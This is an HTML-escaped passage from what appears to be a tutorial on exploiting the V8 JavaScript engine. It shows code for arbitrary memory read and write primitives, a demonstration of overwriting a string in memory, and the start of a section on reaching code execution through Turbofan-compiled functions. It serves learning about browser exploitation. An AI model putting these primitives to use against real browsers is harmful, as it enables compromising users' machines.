class=&#34;jsConValOut&#34;&gt;0x0000010000042bd1&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;2&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x00000725001cb7c5&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;3&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x0000000600042bc9&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;span style=&#34;padding-left: 4px&#34;&gt;&lt;i&gt;(124&amp;nbsp;more)...&lt;/i&gt;&lt;br/&gt;&lt;/span&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;/details&gt;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Sweet! The pointer addresses here are tagged, so they&amp;rsquo;re 1 bigger than the actual memory locations. We could make addrof and fakeobj subtract and add 1 to see and use the actual memory addresses, but it&amp;rsquo;s a matter of taste.&lt;/p&gt;&#xA;&lt;p&gt;Lastly we&amp;rsquo;ll want to create primitives to arbitrarily &lt;strong&gt;read&lt;/strong&gt; and &lt;strong&gt;write&lt;/strong&gt; memory. To do that, we can create a new array, point it at any memory location we desire, and then read or write its first element. Although we did set the length of an array in two separate memory locations earlier, it turns out this isn&amp;rsquo;t always required depending on what we want to do. If we just want to read or write a single double, we can just specify the desired address in the array header and it&amp;rsquo;ll do the trick.&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConCode&#34;&gt;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;read&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;addr&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;readArr&lt;/span&gt; = [&lt;span class=&#34;jsConValIn&#34;&gt;1.1&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;2.2&lt;/span&gt;];&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;readArr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x00000725001cb7c5n&lt;/span&gt;);&lt;wbr&gt;&lt;span class=&#34;jsConNull&#34; style=&#34;text-wrap: nowrap&#34;&gt; // array header from earlier&lt;/span&gt;&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;readArr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;1&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x0000000200000000n&lt;/span&gt; + &lt;span class=&#34;jsConVar&#34;&gt;addr&lt;/span&gt; - &lt;span class=&#34;jsConValIn&#34;&gt;0x8n&lt;/span&gt;);&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;f2i&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;fakeobj&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;addrof&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;readArr&lt;/span&gt;) - &lt;span class=&#34;jsConValIn&#34;&gt;0x10n&lt;/span&gt;)[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;]);&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;write&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;addr&lt;/span&gt;, &lt;span class=&#34;jsConIdx&#34;&gt;data&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;writeArr&lt;/span&gt; = [&lt;span class=&#34;jsConValIn&#34;&gt;1.1&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;2.2&lt;/span&gt;];&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;writeArr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x00000725001cb7c5n&lt;/span&gt;);&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;writeArr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;1&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x0000000200000000n&lt;/span&gt; + &lt;span class=&#34;jsConVar&#34;&gt;addr&lt;/span&gt; - &lt;span class=&#34;jsConValIn&#34;&gt;0x8n&lt;/span&gt;);&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;fakeArr&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;fakeobj&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;addrof&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;writeArr&lt;/span&gt;) - &lt;span class=&#34;jsConValIn&#34;&gt;0x10n&lt;/span&gt;);&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;fakeArr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;data&lt;/span&gt;);&#xD;&#xA;}&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Did you know that strings in JavaScript are immutable! Anyways let&amp;rsquo;s mutate them using the cool new functions we cooked up.&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;text &lt;/span&gt; = &lt;span class=&#34;jsConStr&#34;&gt;&#34;ponypony&#34;&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConStrOut&#34;&gt;&#39;ponypony&#39;&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;textAddr&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;addrof&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;text&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;hex32&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;textAddr&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConStrOut&#34;&gt;&#39;0x001d35fd&#39;&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;hex64&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;read&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;textAddr&lt;/span&gt;))&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConStrOut&#34;&gt;&#39;0x430b3ed2000003dd&#39;&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;hex64&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;read&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;textAddr&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;0xcn&lt;/span&gt;))&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConStrOut&#34;&gt;&#39;0x796e6f70796e6f70&#39;&lt;/span&gt;&lt;wbr&gt;&lt;span class=&#34;jsConNull&#34; style=&#34;white-space: pre&#34;&gt; // ynopynop&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;write&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;textAddr&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;0xcn&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;0x6172796c6172796cn&lt;/span&gt;)&lt;wbr&gt;&lt;span class=&#34;jsConNull&#34; style=&#34;white-space: pre&#34;&gt; // arylaryl&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;text&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConStrOut&#34;&gt;&#39;lyralyra&#39;&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;We&amp;rsquo;ve done the impossible! Imagine how much we&amp;rsquo;re gonna be able to speed up the performance of our webapps by running this exploit and making strings mutable.&lt;/p&gt;&#xA;&lt;h2 id=&#34;part-4-code-execution&#34;&gt;Part 4: Code execution&lt;/h2&gt;&#xA;&lt;p&gt;So we can read and write any memory, how do we turn this into code execution?&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;d probably want to start by looking at how code gets stored and run for functions and stuff.&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34; style=&#34;margin-bottom: 4px&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;func&lt;/span&gt;&lt;span style=&#34;white-space: pre-wrap&#34;&gt;() {&#xD;&#xA;     &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConValIn&#34;&gt;0x1337&lt;/span&gt;;&#xD;&#xA;   }&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;func&lt;/span&gt;()&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConValOut&#34;&gt;4919&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;%&lt;span class=&#34;jsConV8&#34;&gt;DebugPrint&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;func&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsMem&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsMemTitle&#34;&gt;V8&lt;div class=&#34;jsMemSep&#34;&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsMemDbg&#34;&gt;DebugPrint: &lt;span class=&#34;jsMemVar1&#34;&gt;0x3069001d34c9&lt;/span&gt;: [Function] in OldSpace&#xD;&#xA; - map: &lt;span class=&#34;jsMemVar3&#34;&gt;0x3069001c097d&lt;/span&gt; &amp;lt;Map[32](&lt;span class=&#34;jsMemVar3&#34;&gt;HOLEY_ELEMENTS&lt;/span&gt;)&amp;gt; [FastProperties]&#xD;&#xA; - prototype: 0x3069001c08a5 &amp;lt;JSFunction (sfi = 0x306900141885)&amp;gt;&#xD;&#xA; - elements: &lt;span class=&#34;jsMemVar5&#34;&gt;0x306900000725&lt;/span&gt; &amp;lt;FixedArray[0]&amp;gt; [HOLEY_ELEMENTS]&#xD;&#xA; - function prototype: &#xD;&#xA; - initial_map: &#xD;&#xA; - shared_info: &lt;span class=&#34;jsMemVar10&#34;&gt;0x3069001d3439&lt;/span&gt; &amp;lt;SharedFunctionInfo func&amp;gt;&#xD;&#xA; - name: &lt;span class=&#34;jsMemVar12&#34;&gt;0x3069001d33bd&lt;/span&gt; &amp;lt;String[4]: #func&amp;gt;&#xD;&#xA; - builtin: InterpreterEntryTrampoline&#xD;&#xA; - formal_parameter_count: 0&#xD;&#xA; - kind: NormalFunction&#xD;&#xA; - context: &lt;span class=&#34;jsMemVar6&#34;&gt;0x3069001c0205&lt;/span&gt; &amp;lt;NativeContext[295]&amp;gt;&#xD;&#xA; - code: &lt;span class=&#34;jsMemVar19&#34;&gt;0x306900032cc1&lt;/span&gt; &amp;lt;&lt;span class=&#34;jsMemVar19&#34;&gt;Code BUILTIN InterpreterEntryTrampoline&lt;/span&gt;&amp;gt;&#xD;&#xA; - interpreted&#xD;&#xA; - bytecode: 0x3069002006a5 &amp;lt;BytecodeArray[5]&amp;gt;&#xD;&#xA; - source code: () { return 0x1337 }&#xD;&#xA; - properties: &lt;span class=&#34;jsMemVar2&#34;&gt;0x306900000725&lt;/span&gt; &amp;lt;FixedArray[0]&amp;gt;&#xD;&#xA; - All own properties (excluding elements): { ... }&#xD;&#xA; - feedback vector: No feedback vector, but we have a closure feedback cell array&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsMemTitle&#34;&gt;GDB&lt;div class=&#34;jsMemSep&#34;&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsMemHex&#34;&gt;&lt;span class=&#34;jsMemVar1&#34;&gt;0x3069001d34c8&lt;/span&gt;: 0x&lt;span class=&#34;jsMemVar2&#34;&gt;00000725&lt;/span&gt;&lt;span class=&#34;jsMemVar3&#34;&gt;001c097d&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x3069001d34d0:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar19&#34;&gt;00032cc1&lt;/span&gt;&lt;span class=&#34;jsMemVar5&#34;&gt;00000725&lt;/span&gt;&#xD;&#xA;0x3069001d34d8: 0x&lt;span class=&#34;jsMemVar6&#34;&gt;001c0205&lt;/span&gt;&lt;span class=&#34;jsMemVar10&#34;&gt;001d3439&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x3069001d34e0:&lt;/span&gt; 0x00000741001d34b1&#xD;&#xA;0x3069001d34e8: 0x&lt;span class=&#34;jsMemVar12&#34;&gt;001d33bd&lt;/span&gt;00000a91&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x3069001d34f0:&lt;/span&gt; 0x001d34c9000084a0&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Ooh we&amp;rsquo;ve got something called &lt;span class=&#34;jsMemVarExt19&#34;&gt;&lt;strong&gt;code&lt;/strong&gt;&lt;/span&gt; there! But it&amp;rsquo;s some sort of &lt;span class=&#34;jsMemVarExt19&#34;&gt;&lt;strong&gt;InterpreterEntryTrampoline&lt;/strong&gt;&lt;/span&gt;, what&amp;rsquo;s that?&lt;/p&gt;&#xA;&lt;p&gt;Looking it up, it seems like it&amp;rsquo;s bytecode generated by &lt;a href=&#34;https://v8.dev/blog/ignition-interpreter&#34;&gt;Ignition&lt;/a&gt;. This V8-specific bytecode is run by a VM and is made specifically for JavaScript. It won&amp;rsquo;t be much use to us because we want to run computer code that can hack a computer, not chrome code that can hack a website. Looking further into V8 docs we find &lt;a href=&#34;https://v8.dev/blog/maglev&#34;&gt;Maglev&lt;/a&gt; and &lt;a href=&#34;https://v8.dev/docs/turbofan&#34;&gt;Turbofan&lt;/a&gt;, the latter of which seems like a great fit for us because it compiles into machine code.&lt;/p&gt;&#xA;&lt;p&gt;But our function is still the trampoline thing! How do we turn it into a turbofan thing?&lt;/p&gt;&#xA;&lt;p&gt;We need to make V8 think it&amp;rsquo;s important to optimize our code by running it a lot of times, or using debug commands. If we still have the V8 natives syntax enabled from earlier, we can use &lt;strong&gt;%PrepareFunction&lt;wbr&gt;ForOptimization()&lt;/strong&gt; and &lt;strong&gt;%OptimizeFunction&lt;wbr&gt;OnNextCall()&lt;/strong&gt; to do the trick.&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34; style=&#34;margin-bottom: 4px&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;func&lt;/span&gt;&lt;span style=&#34;white-space: pre-wrap&#34;&gt;() {&#xD;&#xA;     &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConValIn&#34;&gt;0x1337&lt;/span&gt;;&#xD;&#xA;   }&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;%&lt;span class=&#34;jsConV8&#34;&gt;DebugPrint&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;func&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine jsConTerm&#34;&gt;DebugPrint: 0x2d7a001d3fb9: [Function] in OldSpace&#xD;&#xA; - code: 0x2d7a000332c1 &amp;lt;Code BUILTIN CompileLazy&amp;gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;func&lt;/span&gt;()&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConValOut&#34;&gt;4919&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;%&lt;span class=&#34;jsConV8&#34;&gt;DebugPrint&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;func&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine jsConTerm&#34;&gt;DebugPrint: 0x2d7a001d3fb9: [Function] in OldSpace&#xD;&#xA; - code: 0x2d7a00032cc1 &amp;lt;Code BUILTIN InterpreterEntryTrampoline&amp;gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;%&lt;span class=&#34;jsConV8&#34;&gt;PrepareFunctionForOptimization&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;func&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;func&lt;/span&gt;()&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConValOut&#34;&gt;4919&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;%&lt;span class=&#34;jsConV8&#34;&gt;DebugPrint&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;func&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine jsConTerm&#34;&gt;DebugPrint: 0x2d7a001d3fb9: [Function] in OldSpace&#xD;&#xA; - code: 0x2d7a00032cc1 &amp;lt;Code BUILTIN InterpreterEntryTrampoline&amp;gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg 